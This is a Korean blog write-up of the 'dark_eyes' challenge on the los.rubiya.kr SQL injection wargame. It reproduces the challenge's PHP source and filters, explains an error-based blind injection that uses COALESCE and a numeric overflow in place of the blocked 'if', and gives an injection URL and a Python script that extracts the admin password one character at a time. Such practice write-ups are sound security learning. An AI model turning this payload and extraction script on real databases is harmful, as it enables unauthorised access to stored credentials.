웹찢남

dark_eyes-writeup 본문

WEB_HACKING/los.rubiya.kr

dark_eyes-writeup

harry595 2020. 1. 29. 20:16

<?php
  
include "./config.php"
  
login_chk(); 
  
$db dbconnect(); 
  if(
preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~");
  if(
preg_match('/col|if|case|when|sleep|benchmark/i'$_GET[pw])) exit("HeHe");
  
$query "select id from prob_dark_eyes where id='admin' and pw='{$_GET[pw]}'";
  
$result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(
mysqli_error($db)) exit();
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>";
  
  
$_GET[pw] = addslashes($_GET[pw]);
  
$query "select pw from prob_dark_eyes where id='admin' and pw='{$_GET[pw]}'";
  
$result = @mysqli_fetch_array(mysqli_query($db,$query));
  if((
$result['pw']) && ($result['pw'] == $_GET['pw'])) solve("dark_eyes");
  
highlight_file(__FILE__);
?>

 

지난 문제와 같이 error 기반 문제 인것을 볼 수 있다.

하지만 if를 막아놨다...  그래서 if를 대체할 만한 함수를 찾아본 결과 coalesce라는 함수를 볼 수 있다.

 

https://m.blog.naver.com/PostView.nhn?blogId=visualdb&logNo=220362387072&proxyReferer=https%3A%2F%2Fwww.google.com%2F

 

COALESCE() 함수

COALESCE() 함수 SQL 강의에 참석하는 분들을 대상으로 설문을 해 보면 COALESC() 함수...

blog.naver.com

case when then 과 같이 사용을 하는데

 

https://los.rubiya.kr/chall/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php?pw=%27%20or%20id=%27admin%27%20and%20coalesce((ord(substr(pw,1,1))%3E1)%20or%20null,(9e307*9e307))%23%20

 

이런식으로 인자를 넣으면 참일 경우에만 정상적인 페이지로 접근을 한다.

 

import re
import requests
import time

flag = ''
length= 0
session =dict(PHPSESSID="자신의 PHPSESSID")
for i in range (1,100):
        for j in range(48,128):
                        r=requests.post("https://los.rubiya.kr/chall/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php?pw=%27%20or%20id='admin'%20and%20coalesce((ord(substr(pw,"+str(i)+",1))>"+str(j)+")%20or%20null,(9e307*9e307))%23%20",cookies=session)
                        if 'query' not in r.text:
                                flag=flag+str(chr(j))
                                print("finding pw: "+flag)
                                break
print("pw "+flag)


                
이런식으로 코드를 짜면 CLEAR!

'WEB_HACKING > los.rubiya.kr' 카테고리의 다른 글

evil_wizard-writeup  (0) 2020.01.29
hell_fire-writeup  (0) 2020.01.29
iron_golem-writeup  (0) 2020.01.29
Dragon-writeup  (0) 2019.12.28
Xavis-writeup  (0) 2019.12.28
Comments